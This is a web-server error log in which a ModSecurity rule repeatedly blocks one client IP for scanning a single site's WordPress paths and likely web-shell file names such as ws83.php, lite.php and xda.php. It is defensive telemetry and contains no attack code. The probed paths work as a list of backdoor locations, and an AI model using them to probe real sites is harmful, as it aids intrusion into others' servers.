[Sat May 23 20:50:45.026761 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1522] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahGipXTIgjSDhiZmvlXuQgAAAFQ"]
[Sat May 23 20:50:45.330637 2026] [:error] [pid 25876:tid 25883] [client 4.213.99.137:1127] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahGipQSpWUCKPezIBJCtyAAAAQU"]
[Sat May 23 20:50:45.799197 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:1926] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "ahGipQSpWUCKPezIBJCtygAAAQg"]
[Sat May 23 20:50:46.085407 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:1088] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "ahGipsyrPrcAqE-FOKKf1AAAAdM"]
[Sat May 23 20:50:46.431697 2026] [:error] [pid 30942:tid 31024] [client 4.213.99.137:1200] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "ahGiptUosz64YFiBlG11dgAAAJU"]
[Sat May 23 20:50:46.853674 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1523] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "ahGippqUP2XZmzp7RDoMuAAAAAk"]
[Sat May 23 20:50:47.392817 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1114] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "ahGip8yrPrcAqE-FOKKf1QAAAdA"]
[Sat May 23 20:50:47.886531 2026] [:error] [pid 30940:tid 30966] [client 4.213.99.137:1424] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "ahGip5qUP2XZmzp7RDoMugAAABE"]
[Sat May 23 20:50:48.265815 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:1438] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "ahGiqFgUQb4puB_2yV8lcQAAAZU"]
[Sat May 23 20:50:48.630538 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:1149] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "ahGiqMyrPrcAqE-FOKKf1wAAAcA"]
[Sat May 23 20:50:48.920600 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1441] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahGiqMyrPrcAqE-FOKKf2QAAAcI"]
[Sat May 23 20:50:49.236387 2026] [:error] [pid 30941:tid 30992] [client 4.213.99.137:1512] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahGiqXTIgjSDhiZmvlXuRAAAAFA"]
[Sat May 23 20:50:49.554585 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1954] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahGiqXTIgjSDhiZmvlXuRgAAAFg"]
[Sat May 23 20:50:49.886591 2026] [:error] [pid 44326:tid 44378] [client 4.213.99.137:1510] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahGiqcyrPrcAqE-FOKKf3wAAAdc"]
[Sat May 23 20:50:50.234462 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1505] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/min.php"] [unique_id "ahGiqsyrPrcAqE-FOKKf4AAAAdI"]
[Sat May 23 20:50:50.513488 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:1980] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/min.php"] [unique_id "ahGiqsyrPrcAqE-FOKKf4gAAAck"]
[Sat May 23 20:50:50.816244 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1146] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/min.php"] [unique_id "ahGiqnTIgjSDhiZmvlXuSQAAAEU"]
[Sat May 23 20:50:51.131200 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1474] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/min.php"] [unique_id "ahGiq3TIgjSDhiZmvlXuSgAAAEg"]
[Sat May 23 20:50:51.507018 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1144] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/beteng88/ws83.php"] [unique_id "ahGiq1gUQb4puB_2yV8ldQAAAZI"]
[Sat May 23 20:50:51.793279 2026] [:error] [pid 44325:tid 44336] [client 4.213.99.137:1468] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/beteng88/ws83.php"] [unique_id "ahGiq1gUQb4puB_2yV8ldgAAAYg"]
[Sat May 23 20:50:52.131409 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1504] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/beteng88/ws83.php"] [unique_id "ahGirMyrPrcAqE-FOKKf6AAAAcM"]
[Sat May 23 20:50:52.457627 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1111] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/beteng88/ws83.php"] [unique_id "ahGirHTIgjSDhiZmvlXuSwAAAFI"]
[Sat May 23 20:50:52.742539 2026] [:error] [pid 25876:tid 25893] [client 4.213.99.137:2015] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "ahGirASpWUCKPezIBJCtzwAAAQ8"]
[Sat May 23 20:50:53.049924 2026] [:error] [pid 30942:tid 31020] [client 4.213.99.137:1094] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "ahGirdUosz64YFiBlG11egAAAJE"]
[Sat May 23 20:50:53.378361 2026] [:error] [pid 30942:tid 31016] [client 4.213.99.137:1132] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "ahGirdUosz64YFiBlG11fAAAAI0"]
[Sat May 23 20:50:53.647409 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1361] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "ahGircyrPrcAqE-FOKKf6gAAAdA"]
[Sat May 23 20:50:53.946643 2026] [:error] [pid 30942:tid 31023] [client 4.213.99.137:1494] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahGirdUosz64YFiBlG11fQAAAJQ"]
[Sat May 23 20:50:54.222922 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1532] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahGirnTIgjSDhiZmvlXuTgAAAE4"]
[Sat May 23 20:50:54.547923 2026] [:error] [pid 44326:tid 44369] [client 4.213.99.137:1091] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahGirsyrPrcAqE-FOKKf6wAAAc4"]
[Sat May 23 20:50:54.832869 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1507] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahGirnTIgjSDhiZmvlXuTwAAAEw"]
[Sat May 23 20:50:55.107744 2026] [:error] [pid 44326:tid 44365] [client 4.213.99.137:1944] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "ahGir8yrPrcAqE-FOKKf7AAAAco"]
[Sat May 23 20:50:55.426504 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1535] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "ahGir3TIgjSDhiZmvlXuUQAAAEo"]
[Sat May 23 20:50:55.714904 2026] [:error] [pid 30941:tid 30982] [client 4.213.99.137:1113] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "ahGir3TIgjSDhiZmvlXuUwAAAEY"]
[Sat May 23 20:50:55.996770 2026] [:error] [pid 44325:tid 44332] [client 4.213.99.137:1137] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "ahGir1gUQb4puB_2yV8lfQAAAYQ"]
[Sat May 23 20:50:56.273123 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1939] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "ahGisHTIgjSDhiZmvlXuVwAAAEE"]
[Sat May 23 20:50:56.548959 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1400] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "ahGisFgUQb4puB_2yV8lfgAAAYI"]
[Sat May 23 20:50:56.836597 2026] [:error] [pid 30941:tid 30976] [client 4.213.99.137:1472] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "ahGisHTIgjSDhiZmvlXuWgAAAEA"]
[Sat May 23 20:50:57.197823 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:1486] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "ahGisQSpWUCKPezIBJCt1AAAARc"]
[Sat May 23 20:50:57.476435 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:1515] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "ahGisVgUQb4puB_2yV8lgQAAAZU"]
[Sat May 23 20:50:57.755438 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:1934] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "ahGisXTIgjSDhiZmvlXuXQAAAEk"]
[Sat May 23 20:50:58.054746 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1120] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "ahGisnTIgjSDhiZmvlXuXgAAAFY"]
[Sat May 23 20:50:58.329986 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1952] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "ahGislgUQb4puB_2yV8lgwAAAYw"]
[Sat May 23 20:50:58.707100 2026] [:error] [pid 25876:tid 25879] [client 4.213.99.137:1130] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "ahGisgSpWUCKPezIBJCt2QAAAQE"]
[Sat May 23 20:50:58.982682 2026] [:error] [pid 44296:tid 44313] [client 4.213.99.137:1933] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "ahGispdrUdFI6ijvMkmMIQAAAU8"]
[Sat May 23 20:50:59.254217 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1927] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "ahGis8yrPrcAqE-FOKKf7gAAAc0"]
[Sat May 23 20:50:59.578016 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1524] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "ahGis3TIgjSDhiZmvlXuYAAAAEc"]
[Sat May 23 20:50:59.877529 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:1948] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "ahGis8yrPrcAqE-FOKKf8QAAAdM"]
[Sat May 23 20:51:00.155842 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:1979] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "ahGitMyrPrcAqE-FOKKf8wAAAcA"]
[Sat May 23 20:51:00.487622 2026] [:error] [pid 30941:tid 30982] [client 4.213.99.137:1407] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "ahGitHTIgjSDhiZmvlXuYgAAAEY"]
[Sat May 23 20:51:00.774659 2026] [:error] [pid 44326:tid 44365] [client 4.213.99.137:1517] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "ahGitMyrPrcAqE-FOKKf9gAAAco"]
[Sat May 23 20:51:01.078448 2026] [:error] [pid 25876:tid 25889] [client 4.213.99.137:1971] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "ahGitQSpWUCKPezIBJCt2gAAAQs"]
[Sat May 23 20:51:01.394589 2026] [:error] [pid 44296:tid 44300] [client 4.213.99.137:1542] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "ahGitZdrUdFI6ijvMkmMIgAAAUI"]
[Sat May 23 20:51:01.671425 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1463] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "ahGitQSpWUCKPezIBJCt2wAAARM"]
[Sat May 23 20:51:01.994318 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1447] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "ahGitXTIgjSDhiZmvlXuZAAAAFg"]
[Sat May 23 20:51:02.339853 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1947] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahGitnTIgjSDhiZmvlXuZQAAAEU"]
[Sat May 23 20:51:02.838354 2026] [:error] [pid 25876:tid 25892] [client 4.213.99.137:1941] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahGitgSpWUCKPezIBJCt3gAAAQ4"]
